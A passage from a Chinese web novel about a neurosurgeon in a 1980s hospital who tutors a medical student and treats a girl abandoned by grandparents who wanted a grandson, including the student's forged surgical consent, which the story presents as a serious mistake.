南栀起身拿起对面桌子的镜子看了看自己。 她长得蛮友善的啊。 尹安安视角:南老师突然照镜子,爱美。 南栀接过尹安安的书包,动作很轻,拉链却被轻松打开了。 “别太紧张,得有放松的时间。” 尹安安红着脸取出笔记。 南栀扫了一眼,大概明白尹安安为何会进度慢。 举个最简单的例子,1+1=2,谁都知道,一秒就能学会,但尹安安不是这样学的。 尹安安会去追究1是什么,加号是什么,等号是什么。 放到医学知识上,追究起来可就没完没了了。 高中初中学习内容相对较少,和医学生的厚课本没法比,尹安安还有时间折腾,上了大学时间肯定不够。 南栀说:“你喜欢系统性学习。” 尹安安没考虑过这些,南栀这么一说,她觉得挺符合自己的,“是的,不然总是认为不够理解。” “学什么都想从最基础的开始学?” 尹安安点头,“老师,我是不是不该这样?” “不能这么说,”南栀道,“我也喜欢系统学习,刚开始可能要费功夫,可等到融会贯通的一天,就没什么问题能难倒你。” 尹安安:“……” 南老师需要融会贯通吗? 应该是刚看到课本就贯通了吧? 尹安安说:“我不知道我该不该改变,其实我想保持自己的节奏。” 这几年她也是这样做的,导致成绩一直不突出。 “可以,但要有取舍,”南栀说,“你把你的课本留下,我帮你整理内容,课本上没有的、你想学的,我也会整理进去。” 尹安安心跳漏了一拍,她不敢麻烦南栀,“其实我有买笔记的,那份就很好,我想多学的部分我可以自己学的。” 南栀好奇地瞥向尹安安的书包,“这是你买的笔记?” 封面很眼熟。 尹安安点头。 南栀:“这也是我整理的。” 尹安安:“……” 这份笔记在本科阶段被誉为医学生最能兼顾易懂和深度的笔记。 南栀说:“我家里有电脑,打字很快,我只会做框架,再给你推荐一些适合你的书,不会用太久。你愿意学当然很好,但深究的内容实在太多也太杂,有些是没必要的。如果能整理出来,还可以给其他学生看,不会浪费。” 尹安安感激地看着南栀,舌头都在打结,“老师,我、我……帮我真的不会浪费时间吗?其实班里有很多聪明的学生 。” 南栀笑笑,“如果以后你也愿意帮助别人,就不是浪费。” 阮乔和韦宁雨已经在门口等了许久。 “栀栀好有老师的架子。” 韦宁雨道:“平时没觉得南栀特别牛,现在看,真挺牛。” 阮乔说:“平时也没觉得你牛,但看你找来的那些朋友,也是挺厉害。” 韦宁雨故作害羞,“呀,这还是你第一次夸我。” 阮乔:“……,恶心!” 屋内的尹安安感动完,忽然想到什么,“南老师,我们是……同学,课本不是一样的吗?” 怎么南栀提起课本如此陌生? 南栀惊讶,“我也有课本?哎呀,忘记找冯老师要了。” 尹安安:“……” 她还是想做个有天赋的人。 第116章 第116章签字 这回警方的速度倒是很迅速,他们找到张琪居住的城市,联系当地派出所,张琪的家属已经报案,成功联系上对方。 派出所不能联网,警方做了不少工作,几乎跑遍全市的派出所,才找到张琪家所在的片区。 张琪的爷爷奶奶第一时间赶到康宁医院。 病房里,张琪刚刚睡下,爷爷奶奶没吵她。 南栀把他们叫到办公室,询问他们是否知道张琪的情况。 奶奶看了爷爷一眼,爷爷道:“不知道,完全不知道,这孩子咋能得这么大的病?” 奶奶接着说道:“我们带她去街上,一转眼人就不见了,可叫我们好找,没想到这丫头都跑出市了。” “还好找到你们,”阮乔笑道,“张琪这种情况,需要做手术才能解决,她已经有症状,最好能尽快手术。手术是有风险的,可能……” 两个老人对视一眼,爷爷打断阮乔的话,“医生,我们不做手术了。” 阮乔怔了怔,“为什么?” 张琪来时,衣服虽然脏了,但都是在百货大楼买的。 现在很多普通人家还会自己做衣服,或者把大人穿旧的衣服改成孩子穿的。 还有爷爷奶奶穿的衣裳也很上档次,奶奶还戴着金耳环和金手镯,镯子挺粗,克数应该不小。 他们不像是贫穷的家庭,养孩子时也很精细,阮乔还看到他们给张琪做的小内裤,阮乔在张琪这年纪,是没有的。 爷爷说:“我们得回家做手术。” “对对,家里照顾着方便。” 阮乔道:“可是这台手术不是哪里都能做的。” 爷爷:“那也得找省里最好的医院做,是吧?” 阮乔点头,“是。” “所以啊,我们先回家,和她爸妈商量商量,然后带她去省里做手术。” 阮乔:“但全省最好的神经外科,就是我们医院。” 爷爷奶奶:“……” 两人不太关注报纸,也不喜欢看新闻,对省内哪家医院比较好毫无兴趣。 爷爷低声道:“这是最好的?” “唬人吧,从外面进来时,我看见这里墙皮都掉了,这破楼。” 阮乔:“……” 重新装修大楼还是有必要的。 阮乔正想对二人解释,南栀示意她先安静。 “得劝劝他们啊,”阮乔低声道,“张琪的情况和肿瘤不同,预后非常好的。” 南栀没有回答阮乔,她问道:“张琪的父母怎么没来?” 两人言辞闪烁,“他们工作忙……” 南栀:“孩子丢了,不找孩子?” “啊?哦,找啊,肯定找,这不是找了很久,实在没找到,但又不能一直请假,就只能去上班,我们替他们过来接孩子。” 南栀说:“还是通知他们一声吧,让他们过来一趟,是否手术,由父母来决定,这是医院的规定。” 阮乔纳闷地看着南栀。 她怎么不知道医院还有这种规定?爷爷奶奶也是可以定的吧? 二人脸色微变,“我们是琪琪的爷爷奶奶,我们还能害她?怎么还非要我儿子儿媳过来?” “我能替他们做决定!我们得去省里手术!就这么定了!” 阮乔蹙起眉。 他们态度坚定,南栀又不能真拦着他们不让走,只好说:“她现在的情况比较危险,不能出院,我们先为她治疗,过两天情况稳定,再给她办出院手续。这没问题吧?你们应该也不想看着孩子在路上出事,她现在随时可能有危险。” 南栀说得坚定,爷爷奶奶也不好再拒绝,只能点头答应。 二人走后,阮乔问:“他们为什么不想做手术?难得遇到我们,我以为他们会很高兴。” 南栀:“他们的态度有点儿怪” 她拿起话筒联系派出所,请他们帮忙找张琪的父母。 民警茫然道:“直接去问张琪的爷爷奶奶不就知道了?” 阮乔也是这样想的。 南栀说:“我怀疑……他们早就知道张琪的病,张琪可能是被丢的。” * 南栀整理资料的速度很快,有难点的地方,她还特别标注、详解。 有南栀的资料助力,尹安安的学习速度突飞猛进。 南栀的讲解比其他老师讲得更易懂,而且特别对尹安安的胃口,很系统很条理。 无论尹安安提出多么细节的问题,南栀都能对答如流。 两天的学习,尹安安好像被打通任督二脉,进步神速,好像真的有融会贯通的感觉。 尹安安不太好意思再耽误南栀的时间,“听冯老师说,他本来想让几个实习生过来,让你帮忙带带,现在变成辅导我学习了。” 听到这话,南栀想到陆嘉述和舒映阶,她们都有很多学生,尤其是舒映阶,年纪虽然大了,但各方面的工作都没松懈,还和年轻一样,大家都说她看着年轻,做手术也看不出上了年纪。一直到她生病,才一下子泄了气。 南栀说:“各行各业都是一样的,老带新,正常。” “可我……冯老师说,您好像不喜欢带男生,我怕不公平。” 尹安安很感激南栀,但总觉得南栀应该去带更有天赋的人,而不是她。 就像舒映阶会选择南栀作为她最后的学生,她绝对不会选一个资质平庸的人。 如果因为性别耽误了真正有天赋的人,尹安安挺不好意思的。 南栀笑起来,“放心吧,有很多人愿意给他们提供机会,不会埋没的,我的任务就是给你们提供机会。” 她取出刚整理好的笔记,“我会拜托朋友多打印几份,你带回去给同学,如果有需要的就给他们用。” 尹安安赶紧点头。 敲门声响起,尹安安看到一个长得不错的医生走进来,进门后就在看她。 尹安安愣了一下,反应过来后连忙起身,“南老师,谢谢,我先走了。” 她匆匆退出办公室。 陆随等她离开才笑道:“南老师?现在挺有派头。” 南栀伸了个懒腰,“我说了不用叫我老师,其实我们是同学……晚上吃什么?” “出去吃?”陆随道,“今天下班晚,回去做的话还要再等。” 南栀开始畅享炒鸡、糖醋里脊、肘子肉。 有陆随在,南栀充分体会到翻来张嘴的快乐。 他们大部分时间会选择回南栀家或者回陆家蹭饭,剩下一半时间出去吃,偶尔自己做饭。 陆随学了几种炒菜,味道还凑合,能吃。 街上的饭店越来越多,用钱买着也方便。 新家就在医院旁边,黄春兰布置的,很有八十年代的氛围。 进门是一排柜子,柜子上放着黑白电视机和收音机,沙发上盖着白色蕾丝布做防尘罩。 客厅窗户的窗帘花里胡哨的,按照二人的需求,窗户另一边就是书房。 书架上是南栀和陆随需要用到的书,电脑也放在书房。 陆嘉述还送给二人一台冰箱和一台空调。 冰箱很矮,门是绿色的,也盖着蕾丝布。 空调就稀奇多了,格力的空调,现在属于有钱也不一定能买到的阶段,这空调是人家送 给陆嘉述的,为了还救命的人情。 南栀早就习惯有空调有冰箱的生活,偶尔提了一句,陆嘉述记在心上,定下房子后就直接送了过来。 南栀在家里转了一圈,越转越喜欢。 陆随去厨房准备明天的早饭,出门就看到南栀还在家里转悠。 他们搬过来也有几天了,南栀每天回来都要转悠。 陆随好笑道:“有这么稀奇吗?” 南栀掰着手指头和他算,“我小时候住在福利院,都是宿舍,没有单独的房间。后来上学,住学校的宿舍,也没有单独的房间。来到这里,倒是有自己的房间,可是家里不富裕,没有空调也没有冰箱,这可是属于我的装修最好的家了!” 陆随愣住。 冰箱、空调这种在后世家家户户必备的电器,南栀都没有拥有过。 谁能想到有人八十年代末的日子过得比后世还富足? 陆随走到南栀面前,把她拉到怀里,“我还有些存款,还需要什么可以再添。” 南栀惋惜道:“家里不通暖气,只能开空调,洗澡不方便。” 陆随:“不是装了浴室?” “还是不方便啊,”南栀振振有词,“阮乔说了,洗澡可以偷看,咱家的门太结实,不方便看。” 陆随:“……” 他立刻推开南栀。 什么叫偷看?! 南栀叉腰,“我们都很好奇男人长什么样啊,只在课本上看过。” 神经外科医生又不能把人家全身扒光。 陆随:“……,以后少和阮乔玩儿。” 晚上洗澡,陆随总有异样感,好像一直被人盯着。 但看浴室的门,关得好好的,确实没问题。 陆随换好睡衣出来,南栀一脸惋惜,“咱家的电器家具质量真不错。” 一点儿机会都没有。 陆随:“……,理论来说,应该是你提防我。” 南栀好奇地问:“为什么要提防?” 陆随张开嘴巴,发不出声音。 这好像没法解释? 南栀靠近陆随,“阮乔还让我……” 陆随捂住耳朵往卧室走。 南栀紧紧跟着他,“你说说嘛,到底要提防什么?是阮乔说的那件事吗?” 陆随惊恐地停下,“她又说了什么?!” 两个什么都不知道的人,一天天地都在瞎研究什么? “就是……接吻?” 南栀搂住陆随的脖子,踮起脚尖……没碰上。 陆随下意识弯腰,南栀却没看到他的迎合,直接踩到床上,然后把陆随拉向自己,成功碰到。 陆随能察觉到自己的呼吸愈来愈弱。 脑子和心里似乎都空了,飘飘然的,不知自己在做什么。 南栀忽然放开陆随,迟疑道:“你的呼吸不太对……需要急救吗?” 陆随:“……” 他沉默片刻,搂住南栀的腰,向床上压去。 陆随声音沙哑,“安静。” * 尹安安回到宿舍,把南栀整理的笔记分给舍友。 舍友们对这位南医生充满好奇,立刻围过来看笔记。 “哇,讲得真的比老师讲得清楚。” “要不说南老师有天赋,原来是真的。” “这已经不能用天赋来表述了吧?不过你们看这里,南老师引申的是不是太多了?有点儿看不懂。” 尹安安偷偷看向激烈讨论中的舍友,南栀引申的内容,她都看得懂。 尹安安有点儿开心,她终于知道自己的努力的确不会白费。 不过今天尹安安没法静下心来学习。 这两日她都有去看望张琪,张琪的状态很差。 她和爷爷奶奶似乎不太亲,几乎不和他们说话,也就尹安安去时,张琪的话能稍微多一点儿。 尹安安听南栀说,张琪的爷爷奶奶不想给她做手术,派出所那边还在联系张琪的父母,原本已经找到张琪家所属辖区的派出所,也找到他们的工作单位,但领导说他们已经有好几天没去上班。 目前为止,还没找到张琪的父母。 尹安安实在放心不下,她收拾好东西准备去医院。 舍友惊讶道:“你今晚不学习了?” 尹安安每天都要学到十一点,通常都是在图书馆,图书馆有情况就会回宿舍,舍友们看看认真学习的尹安安,再看看自己,很有负罪感。 尹安安走出宿舍,“我去医院看看,不放心。” 尹安安和张琪的经历其实差不多,她小时候也生过脑部的病,爸爸妈妈最开始还愿意医治,但越花钱越多,在某一次他们表示要回家筹钱后,就再也没回来。 幸好医院没看着她送死,还是给她完成手术,手术结果不错,检查出来是良性的,至今没有任何复发迹象。 她恢复后,父母又找到医院,想把她接走。 医院让他们结算费用,自然又是装傻。 尹安安没有和父母离开,她偷偷逃走了,从此再也没见过面。 尹安安运气看起来不好,但又很好。 她最开始是去福利院,她的年纪要比其他孩子大一些,经常帮阿姨、院长照顾其他孩子,大家都很喜欢她。 因为聪明,她被福利院送去上学,一路考上大学。 上学期间,老师们都觉得她有前途,除了她的父母,每个人都在努力帮她。 尹安安担心没人帮张琪。 时间已经不早,尹安安离开时,都快过宿舍的门禁时间。 她也没考虑回不去宿舍该怎么办,绕到张琪的病房去看望她。 病房静悄悄的,张琪的爷爷奶奶都在。 他们背对张琪,两人正低声说话,“治这病要花这么多钱?” “早就让他们再生一个,哪有家里只有一个小女孩的?他俩就是不听,现在好了,又要再赔钱。” “这事别告诉他们了,花这么多钱治病,治好了他们又有理由不要孩子,起码得生个男孩。” 尹安安愣住。 她看向张琪,张琪是醒着的,还睁着眼,但目光空洞。 张琪能听到爷爷奶奶的话,她的年纪,应该也能听懂含义。 原来张琪的爷爷奶奶是真的不想给她治病。 尹安安又想到南栀的猜测,心中不寒而栗。 难道他们早就知道张琪的病,就是怕儿子儿媳不想生儿子,所以才…… 尹安安快步走进去,“琪琪!” 张琪眼睛亮了一瞬,但声音有气无力,“安安姐姐……” 尹安安看向隔壁床,隔壁床还没休息。 她故意大声说道:“琪琪,你的情况必须做手术了,做了手术恢复得好,你还小,未来很长。如果有人不想让你做手术,你就告诉我,我去找警察。” 隔壁床也是女孩,家属早就看不惯张琪的爷爷奶奶,回应道:“可不是,孩子病了,只要能治,花多少钱都得治,” 爷爷奶奶看过来,尴尬地解释,“我们不是不给她治病,这个病啊,医生说了,一般不需要治疗,不用手术?” “你也说了,这是一般情况,她的位置不好,眼歪嘴斜、头疼呕吐都是症状,一旦关键部位出血,情况就危急了!” 二人仍然不太在意的样子。 尹安安看到他们的反应就生气。 为了一个不存在的孙子,打算放弃已经养了五年的孙女? 养条狗都该有感情! 就在这时,隔壁床的家长忽然说道:“琪琪好像一直晕乎乎的,没问题吧?” 尹安安这才发现,张琪除了叫她一声姐姐,接下来就没声音了,她快步走过去检查张琪的情况,“我去找医生——别让他们把人带走!” 南栀是在梦里被叫醒,家里装了电话,就是为了随时接医院通知。 虽然很累,但南栀还是快速爬起来,陆随跟着坐起来,“有手术?” “张琪脑出血,得立刻做手术,我现在过去。” 陆随起身道:“我送你。” 南栀赶到医院,直接去换无菌服,准备进手术室。 今天值班的是刚调来的医生,他给南栀做助手。 南栀询问:“找张琪的爷爷奶奶签过字了?” “都签好了,”助手把手术同意书递给南栀,“这个方法真好,我以前待的医院不正规,不用签字就能直接动手术,总是和家属有矛盾。” 南栀点头,“你多留意,他们的手术意向不强烈,再去确定一遍,把并发症说明白。” 助手拿着手术同意书去找张琪的爷爷奶奶。 他们和尹安安都在手术室门口,两人脸色泛白,似乎被吓坏了。 尹安安声音严厉,“她现在不做手术就会死,如果真出事,就是你们把她拖死的!” 陆随站在不远处,好奇地看着几人。 手术进行中,韦宁雨刚到医院,看到陆随便过来打招呼,“陆医生?你怎么也过来了?” 陆随道:“送南栀。” “我们栀栀都有专车了……”韦宁雨打量陆随的脸色,“你很累吗?” 陆随:“……” 他淡定道:“昨天和前天手术都排满了,没休息过来。” “噢,陆医生太忙了,多抽出点儿时间陪我们栀栀啊。” 陆随:“……” 他有点儿心虚,“她应该比我更忙吧?” 韦宁雨:“这倒是。” 张琪是脑干海绵状血管瘤,如果正常安排手术,需要走后正中入路,将囊变完整拆除。 现在张琪脑出血,只能先处理脑出血的问题。 助手问:“可以同时处理血管瘤吗?” 南栀已经做好手术准备,“看患者的状态,如果可以,尽量一次性搞定,开一次刀总比两次要好。” 张琪的出血量还在可控范围内,手术及时,术中未出现异常情况。 患者状态稳定,血管瘤位置可及。 南栀道:“接下来拆除囊变,继续手术。” 手术室内安静无声。 手术室外也同样安静。 张琪的爷爷奶奶紧张地攥着拳头,尹安安却只看到他们的虚伪。 她走过去质问道:“琪琪的父母在哪里,还不通知他们?” 奶奶看向爷爷。 爷爷神色自若,“不是说了吗,他们在上班,没时间,我们可以照顾琪琪。” “你们是照顾?!”尹安安愤怒道,“你们分明不想给琪琪治病!” 陆随原本是在等南栀,看到这一幕走过去,“你是尹安安?” 尹安安奇怪地看着陆随,她好像在南医生的办公室见过他。 “你认识我?” 陆随说:“听南栀说,她最近几天整理的笔记是给你的。” “你……” 陆随道:“我是她的丈夫,也是这家一润的医生。” 尹安安瞪大眼睛。 南老师不仅学习快,结婚也很快?? 尹安安打量着陆随,质疑道:“您的医术……可以吗?” 总担心南老师嫁给不如她的医生,多亏。 陆随客气道:“我凑合,我奶奶还行,你放心。” 尹安安:“……” 小心思被看穿。 陆随问:“他们是?” 张琪的爷爷嘴很快,“我是张琪的爷爷,这姑娘真奇怪,总是怀疑我们害琪琪,我们去哪里说理?” 尹安安:“你分明就……” 奶奶紧接着说道:“姑娘啊,我 们这两天照顾琪琪,头晕眼花的,你就别给我们添乱了。我们能不对琪琪好?” 有几个值班护士看过来。 尹安安涨红脸,被他们气得说不出话来。 分明就不想给张琪治病,还要装样子! 手术进行一半,助手匆匆走出来,“张琪的家属?张琪现在……” 爷爷先冲了过来,“没救活?!” 助手一怔。 奶奶说:“你瞧瞧,开刀更不行,我们不让开刀是有道理的。” 助手:“……手术挺顺利的,张琪的状态很好,南医生说要继续做血管瘤的手术,我来通知你们一声。” 爷爷:“……” 尹安安悬着的心才放下来,她愤怒地看向老人,“还说你们没别的心思?你们分明就没盼着她好!现在手术顺利,看你们还有什么话可说!” 爷爷瘪瘪嘴。 助手道:“你们先签字吧,知情同意书。” “我不签,”爷爷转身往回走,“刚才就不是我们签的,这字我签不了。” “你说什么?!”助手慌了神,“你们不是签字了?同学,你看着他们签字的,对吧?” 尹安安不语。 陆随拧了拧眉,拦下二人,他看向尹安安,“他们签字了吗?” 尹安安:“……字是我签的。” “你说什么?!”助手险些原地起跳,他做了这么多起手术,都没遇到如此惊险的情况。 尹安安道:“他们不愿意签字,我没办法,不能看着琪琪等死吧?” “那你也不能自己签啊!万一出点儿什么事,她家里来闹,怎么办?” 爷爷说:“我是不知道你们打算怎么治疗,反正我不同意手术,如果手术出问题,那就是你们的问题,你们要负责。” “你!” 助手看了眼尹安安,转身回到手术室。 “南医生,刚才的字是那个学生签的,现在家属不承认。” 手术室内操作的几人同时停住。 麻醉医生爬起来,“没搞错吧?!” “这学生是不是疯了,咱们医院是被人坑过,才一定要签字,她以为我们为什么非要征得家属同意,闲得无聊吗?!” 手术室乱哄哄的。 助手看向南栀。 南栀已经在继续手术,“不认就算了,继续手术,手术结束后再说。” * 从手术过程来看,张琪的手术很顺利,已经转入ICU,暂时还没清醒。 虽然是晚上,但尚延还是赶到医院,拉着手术团队的医生护士开会。 “尚主任,这个学生实在太大胆,患者的手术虽然成功,但谁都不能保证是否有并发症,患者的爷爷奶奶又不好相处,一旦出现问题,医院不能承担责任。” “我就没见过敢给没见过几面的人签字同意做手术的,到底是学生。” “你们还真指望学生能承担责任?如果真要赔钱,她拿什么来赔?还是祈祷张琪一切顺利吧。” 尚延看向南栀。 其他几人也看过来,助手忍不住问道:“南医生,她是你的学生,你怎么看?” 第117章 第117章出事啦 比起其他人的愁眉苦脸,南栀的表情还算轻松。 她看向尚延,道:“目前的情况,最该做的事情是找到张琪的父母,张琪的父母可能不知道女儿的情况。” “可尹安安……” 南栀:“如果后续真的出现并发症,导致严重的情况发生,尹安安的确有责任,但我和你也不能把责任撇得一干二净。如果我们在手术前与家属沟通,就会知道他们仍然不同意手术。” 助手一怔,有点儿委屈,“情况那么急,哪有时间啊。” 南栀道:“当务之急,还是先找到张琪的父母。出事后的责任我来承担,你想让身无分文的学生来承担,也没意义。” 离开会议室,南栀先去办公室,尹安安和陆随都在。 南栀刚进去,尹安安便红着眼睛站起来,“南老师,不好意思,当时琪琪脑出血,他们还是不肯签字,非要带回家去治,我担心他们是想让琪琪等死,他们说儿子女婿只有琪琪一个孩子,没有男孩,我怕他们……所以就自己签了。” 南栀没立刻责备她。 “没有男孩?”南栀,“详细说说。” 尹安安道:“……他们想要男孩,儿子儿媳只生了张琪,不同意再生男孩,我听他们亲口说的。” “也就是说张琪的父母对张琪应该还不错?” 尹安安茫然道:“南老师,我不太明白,这很重要吗?” 陆随笑道:“对她不错,就不会不同意手术,这是在救命,找到她的父母,可能更好说话。” 尹安安再次弯腰鞠躬,“南老师,如果琪琪出现问题,我承担全部责任!” 南栀没作声。 尹安安不敢抬头。 南栀一直在帮她,她还欺骗她。 南栀说:“代替家属签字,这种行为的确不妥,做医生的首要任务是保护好自己,这不是奉献牺牲,这是作死。” 不保护好自己,何谈治病救人? 张琪如果真的出事,尹安安再去承担责任,事情传开,保证所有医生都不敢这样做了。 尹安安道:“我知道,我以后一定不会这样做了。我只是……” 只是在看到张琪时,总是想到自己。 南栀:“你也不用保证,其实我不是很相信的。” 尹安安:“……” 南栀困惑道:“字都敢签,还能保证以后如何吗?不上房揭瓦就算好的了吧。” 尹安安:“……” 老师也不用过于直白。 南栀说:“你不用紧张,张琪情况危急,站在我个人的角度,站在医院的角度,都没有见死不救的道理,只是不能代替家属签字,要想其他办法,这次太莽撞了。” 幸好张琪手术顺利,如果在手术过程中就出现问题,尹安安现在可能已经被张琪的爷爷奶奶堵住了。 接下来儿科的工作重心变成全力寻找张琪父母的下落。 张琪一直在ICU,事情被戳穿,张琪的爷爷奶奶也不来装了,直接收拾行李走人,死活都不说张琪的父母在哪儿。 民警被气够呛,假装同意他们离开,然后暗中跟踪,如果他们和张琪的父母联系,民警就能找到人。 这两 人直接回家,继续过日子了,好像根本没张琪这回事。 照顾张琪的任务落到尹安安头上。 张琪还在ICU,尹安安每天去看望她。 张琪一直没有清醒,第八天的腰穿显示,颅内感染了。 整个科室每天愁云惨淡。 尹安安去看望张琪时,都能听到ICU的护士议论,“就是她?给患者签字?” “咱们必须家属同意签字,还不是踩的坑太多了?她怎么想的,真把自己当救世主了?” “年纪轻,不懂事。” 尹安安眼眶微热。 她看着还未清醒的张琪,不知道是该心疼她,还是愁自己。 如果再来一次,她可能不会签字,但还是要让张琪做上手术。 韦宁雨和阮乔也在发愁。 “医院的名声好不容易好了,现在又出了这么档子事……哎,如果医院愿意承担张琪的手术费用,其实也还好,能做正面宣传。爷爷奶奶重男轻女想要孙子,康宁医院只能自作主张给危在旦夕的孙女开刀!” 阮乔鼓掌,“一开口就是奸商味儿了。” 韦宁雨挑眉,“我这都用在正地方,哪里像奸商?这人啊,得有危机意识,医院应该早做准备。难道真等到张琪的爷爷奶奶找上门,再去解释这件事?” “不管怎么说,尹安安都代替家属签字了,咱们理亏。” “道德上不亏就能吹,相信我的实力!” 两人争论不休。 南栀一直没说话。 阮乔见状,安慰道:“栀栀,你别太担心,你肯定不会被连累的,你只是做手术的,他们凭什么怪你?” 南栀愁道:“最近整理笔记的速度好慢,结婚真不好,晚上都不能把时间放在工作上了。” 阮乔:“……” 听听这说的是人话? 阮乔:“人还是得有自己的生活的哈。” 韦宁雨奇怪道:“为什么结婚了,晚上就没时间?你和陆医生一起整理呗。” 阮乔:“……” 在南栀大放厥词前,阮乔捂住南栀的嘴,“注意用词。” 第十天,张琪的爷爷奶奶再次来到医院。 医护人员没什么好眼神,他们也不在意,来了就往病房跑,得知张琪仍在ICU,就坐在ICU门口哭。 哭得护士们莫名其妙。 南栀是主刀医生,还得来和他们解释张琪的情况。 南栀坐在对面看着他们哭,如果有人想去安慰,南栀还会阻止,“让他们发泄。” 患者和家属们就安心地让他们哭了。 爷爷奶奶:“……” 实在没人搭理他们,他们只好爬起来,但口中仍然念念有词,“琪琪啊,你还那么小怎么会脑出血?!” 其他人刚要感动,南栀:“你们耽误的啊。” 爷爷奶奶:“……” 南栀:“如果早同意做手术,也不能像现在这样。” 患者家属们的目光微微变化。 爷爷奶奶:“……,我们是不懂,你们医生还不懂?!就不能直接给琪琪开刀?什么都要我们决定,要你们医生干什么?!” 南栀惊叹地鼓掌,“我得记下来,以后我出门就要这么不讲理!一定很爽!” 爷爷奶奶:“……” 没人知道他们这是在闹哪一出,派出所民警都来了,也劝不走他们。 至于张琪的父母,民警无奈道:“我们一直在监视他家,但两人没回来过,真是怪了。” 一直到晚上,南栀终于知道出现这场闹剧的原因。 晚上八点钟,一对风尘仆仆的夫妻赶到。 夫妻二人都穿运动装,男人背着巨大的牛仔包,女人背小的双肩包,二人还拎着编织袋。 他们匆匆赶到ICU,张琪的爷爷奶奶一直等在门口,见他们过来,又开始哭,“你们可总算来了,琪琪她不好了,这医院水平不行,治不好病啊!” 护士们茫然地看着他们,有聪明的立刻去通知南栀。 南栀今天不值班,但她是张琪的主刀医生,还有尹安安那档子事,必须出面。 陆随送她过来。 爷爷奶奶指着南栀说道:“她水平不行,手术失败了,现在人还出不来,我们都没见到琪琪。” 护士低声道:“是张琪的爸爸妈妈来了。” 张父走过来,急道:“我孩子到底怎么样了,为什么不让我们见她?!” 南栀没有立刻回答,她先打量夫妻二人的状态,留意到他们的行李。 南栀问:“你们这段时间去哪了?我们找了你们很久。” 张父奇怪道:“孩子丢了,我们当然是去找孩子了,你们找过我们?什么时候?” 南栀看向两个老人,“我们一直让他们通知……” 爷爷赶紧说:“医生说什么有感染,肯定是他们手术有问题,不然怎么会感染?” 护士无语道:“把谁的脑子打开,谁都有可能感染,这是常见的并发症,和医生无关,手术很成功。” 奶奶不依不饶,“手术成功怎么还没醒?为什么和我们说情况很严重?” “这是两回事!手术过程没有问题!” “还是啊,没有问题为什么会感染?” “……” 张父张母听得头都大了。 张母没心思和医院掰扯,她走向南栀,“这里处理不了?现在可以去首都吗?我们去首都的医院。” 南栀道:“我可以保证,康宁医院现在的设备和儿研所基本一致,儿研所的医生和我也差不多。” 护士道:“我们医生去儿研所进修过呢。” 张母问:“现在就没有其他办法了?” 南栀和她解释了一遍什么是并发症,为什么无法避免。 这两人倒是好说话,张母道:“明白,手术过程没问题,术后要挺过三关,琪琪现在是在第三关,颅内感染了。” “还有没有其他方法?”张父道,“花多少钱,我们都要救人!” 南栀:“你们先别急,我们一直在给张琪做治疗,不会比你们先放弃。” 她看向张琪的爷爷奶奶,两个老人在听到要花很多钱时,脸色已经变了。 “现在我还需要解决一件事,”南栀拿出事先准备好的手术同意书,“您看一下,当时张琪突然脑出血,情况紧急,您的父母拒绝给张琪做手术,要求出院,不肯签字,这字是找到张琪并将她带到医院的学生签的。” 张母茫然道:“什么意思?不做手术?” 张父先反应过来,气急 败坏道:“爸!妈!你们怎么能这样?!” 两人低下头,嘟囔道:“我们还不是替琪琪着急?我们又不懂这些。” 张母冷脸背对二人,不想说话。 张父很气,但又不能真和父母生气,只能安抚妻子,“我爸妈就这样,是不太聪明,但他们没有坏心思,只是担心琪琪。” 张母冷笑。 南栀说:“如果你们认同我们做手术,还得麻烦你们补签一张同意书,手术之后,你们的父母就离开医院,这位学生每天都来看张琪。你们或许可以不认同我们的治疗方案,但她绝对没有任何坏心思,只是想救人。” 张母拿起手术同意书,划掉尹安安的字,重新写上自己的名字。 爷爷奶奶走过来劝道:“孩子都这样了,就算把钱砸进去,能治好吗?你们还是要省点儿钱,你们还年轻,再生一个,是吧?” 南栀收好手术同意书,尹安安的事情算是解决,但她还不能走,她还有事情要处理。 南栀微笑道:“再生一个男孩吗?” 张母看过来,“什么意思?” 南栀说:“尹安安刚发现张琪并把她带过来时,我们就给张琪做了检查,确定她符合手术指征,而且已经有出血灶,需要做手术。我们联系了派出所,派出所找到他们二位,但他们一直拒绝做手术。我们尝试联系你们,你们没去上班,也不回家,一直联系不到,这二位说不知道你们在哪里,一直拖到张琪出事。” 张母难掩震惊,“琪琪很早就来了?!这是怎么回事,爸、妈,我们每到一个地方就给你们打电话,怎么没听你们说过?!” 她推开丈夫,“这就是你说的没坏心?!这叫没坏心?!他们就是想看着琪琪死!” 张父也被南栀这句话吓到,他看着父母,气急败坏道:“我不是早就和你们说过了,我们就要琪琪一个孩子就行!我们俩为了找琪琪,工作都快没了,你们还不说实话?!” “你看着办吧!”张母吼道,“琪琪如果出事,我们一起去死好了!我嫁给你真是倒了八辈子霉!” 张父拉着妻子不敢说话。 南栀适时浇油,“尹安安听到他们的对话,说是你们不肯生二胎要男孩,我们认为当初张琪是如何丢的,值得调查。” 张父终于反应过来,“我爸领着琪琪去公园玩儿,说是一转身就不见了。爸?!” 爷爷奶奶缩在椅子上不吭声。 “你们太过分了!!” 翌日,张琪的爷爷奶奶被赶回家,张琪的父母守在ICU。 护士长心善,特意让他们提前去看张琪,张母握着张琪的手泣不成声。 护士们总算顺心了,这才像是正常的家人嘛,张琪的爷爷奶奶好像有大毛病。 从ICU出来,张母不吃不喝坐着干等。 张父去买来早餐,张母也不肯吃。 “多少还是吃一些,咱们还得照顾孩子。” “离婚,”张母声音冷淡,“害了我的孩子,就想这样过去?离婚吧,你也走,琪琪不需要你照顾。” 张父急道:“我是她爸,我也很担心她,我如果不担心她,会和你一起去找她吗?” 张母声音平静,“你爸妈总喜欢说琪琪的不是,每一次你都让琪琪听话,不分青红皂白。我说你爸妈不喜欢琪琪,你不相信,你说没有爷爷奶奶不喜欢孙女的。琪琪有你这种拎不清的爸,是她的不幸,如果你早点儿管住你爸妈,他们敢做出这种事吗?丢孩子,他们居然还敢丢了孩子?!” 张父:“……” 他坐到张母身边,“我真的没想到他们能做到这个地步。” “你眼里只有你爸妈,你去和他们过,”张母说,“我们不需要你。” “你别这样说,”张父越来越急,“我肯定还是要顾着咱们的小家,我……以后咱们不和他们住在一起了,我们搬走,离他们远远的,不联系了。” 张母冷笑,“那是你爸妈,你舍得?” 张父道:“就算是我爸妈,丢了我的孩子,我能一点儿怨言都没有吗?我也生气。” 最开始他还不敢相信他们能做出这种事。 爸妈么,对他多好,应该是好人才对。 张父发誓,“我以后一定护着你们,绝对不让我爸妈靠近琪琪,只要你同意,我现在就回去搬家。” * 大约是年轻、底子好,张琪的情况没再恶化,反而逐渐好转。 张琪的出血量不算大,救治及时,挺过感染后会好很多,不至于直接瘫痪甚至成为植物人。 尹安安终于能放下心来。 